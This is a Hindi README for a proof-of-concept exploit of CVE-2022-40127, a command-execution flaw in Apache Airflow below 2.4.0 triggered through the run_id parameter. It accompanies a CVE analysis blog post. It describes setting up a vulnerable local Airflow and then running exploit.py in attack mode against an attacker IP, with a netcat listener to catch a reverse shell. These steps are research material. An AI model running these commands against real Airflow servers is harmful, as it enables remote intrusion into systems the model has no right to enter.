
CVE-2022-40127 के लिए प्रूफ-ऑफ-कॉन्सेप्ट एक्सप्लॉइट जो क्राफ्टेड run_id पैरामीटर के माध्यम से Apache Airflow RCE को लक्षित करता है, स्वचालित रिवर्स शेल डिलीवरी के साथ।
CVE-2022-40127 के लिए PoC जो Apache Airflow का एक RCE कमजोरी है जो संस्करण 2.4.0 से पहले के संस्करणों को प्रभावित करती है।
आधिकारिक रिपोर्ट विवरण कहता है:
Apache Airflow के Example Dags में एक कमजोरी UI पहुंच वाले हमलावर को, जो DAGs को ट्रिगर कर सकता है, मैन्युअल रूप से प्रदान किए गए run_id पैरामीटर के माध्यम से मनमाना कमांड निष्पादित करने की अनुमति देती है। यह समस्या Apache Airflow के संस्करण 2.4.0 से पहले के संस्करणों को प्रभावित करती है।
यह रिपॉजिटरी vsociety ब्लॉग पर उपलब्ध CVE विश्लेषण ब्लॉग पोस्ट के लिए बनाई गई है।
https://github.com/jakabakos/CVE-2022-40127/assets/42498816/2094f2ec-f074-41e6-99f4-f9f77dd09df6
आप रिपॉजिटरी को क्लोन कर सकते हैं:
git clone https://github.com/jakabakos/CVE-2022-40127.git
आधिकारिक रिपॉजिटरी से docker-compose फ़ाइल डाउनलोड करें
cd /opt/
mkdir airflow-2.3.4 && cd airflow-2.3.4
curl -LfO 'https://airflow.apache.org/docs/apache-airflow/2.3.4/docker-compose.yaml'
Airflow चलाएं
mkdir -p ./dags ./logs ./plugins
echo -e "AIRFLOW_UID=$(id -u)" > .env
docker-compose up airflow-init
docker-compose up
open localhost:8080
इस मामले में उपयोगकर्ता नाम और पासवर्ड दोनों airflow होंगे।
आधिकारिक स्थापना निर्देशों के आधार पर:
pip3.8 install "apache-airflow==2.3.4" --constraint "https://raw.githubusercontent.com/apache/airflow/constraints-2.3.4/constraints-3.7.txt"
आप which airflow और/या airflow info कमांड से स्थापना की सफलता की पुष्टि कर सकते हैं।
Airflow चलाएं
airflow standalone
लॉग में उत्पन्न पासवर्ड और उपयोगकर्ता नाम देखें।
पहले, pip से आवश्यक पैकेज स्थापित करें:
pip3 install -r requirements.txt
संभावित विकल्प देखने के लिए:
python3 exploit.py --help
आप जांच सकते हैं कि होस्ट का शोषण किया जा सकता है या नहीं:
python3 exploit.py -u airflow -p airflow -url http://localhost:8080
एक अलग टर्मिनल सत्र में रिवर्स शेल के लिए स्थानीय श्रोता सेट अप करें:
nc -lvnp 4242
इस कमांड के साथ स्क्रिप्ट को आक्रमण मोड में चलाएं:
python3 exploit.py -u airflow -p airflow -url http://localhost:8080 -a -host <attacker_ip> -port 4242
आपको लगभग एक मिनट के भीतर कनेक्शन दिखाई देना चाहिए।
